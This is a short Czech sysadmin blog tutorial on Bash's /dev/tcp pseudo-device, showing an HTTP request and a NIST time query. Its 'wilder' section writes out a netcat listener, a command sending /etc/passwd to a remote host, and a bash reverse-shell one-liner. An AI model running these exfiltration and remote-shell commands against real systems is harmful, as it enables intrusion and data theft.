Archiv pro rubriku: Bash

Linux mini-howto: Bash /dev/tcp a sokety.

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Bash a sokety, /dev/tcp

Věděli jste, že bash obsahuje build-in (vestavěné) BSD socket rozhraní dostupné skrze /dev/tcp? Pseudo zařízení slouží v bashi pro přímou interakci s TCP socketem.

Syntax /dev/tcp s /dev/udp

  • /dev/tcp/<host>/<port>
  • /dev/udp/<host>/<port>

Malá ukázka práce s /dev/tcp.

havel@havel-machine:~$ exec 5<>/dev/tcp/havel.mojeservery.cz/80
havel@havel-machine:~$ echo -e "GET / HTTP/1.0\n" >&5
havel@havel-machine:~$ cat <&5 | head -n 10
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Tue, 01 Sep 2015 14:41:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.4.41-0+deb7u1
Vary: Accept-Encoding, Cookie
Cache-Control: max-age=3, must-revalidate
WP-Super-Cache: Served supercache file from PHP
havel@havel-machine:~$ cat </dev/tcp/time.nist.gov/13
57266 15-09-01 14:37:16 50 0 0 816.9 UTC(NIST) * 

Něco více divokého s /dev/tcp

# Na své stroji si rozjeďte netcat
root@www:/root# nc -l -p 8888

# Pošlete si co potřebujete k sobě
havel@havel-machine:~$ cat /etc/passwd > /dev/tcp/havel.mojeservery.cz/8888

# Reverse shell
# Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888

havel@havel-machine:~$ bash -i >& /dev/tcp/havel.mojeservery.cz/8888 0>&1

# havel@havel-machine:~$ pwd
pwd
/home/havel

Pozn.: bash je nutné zkomplikovat s volbou (--enable-net-redirections).

Užívejte moudře a opatrně, díky za pozornost.

František Havel, MOJEservery.cz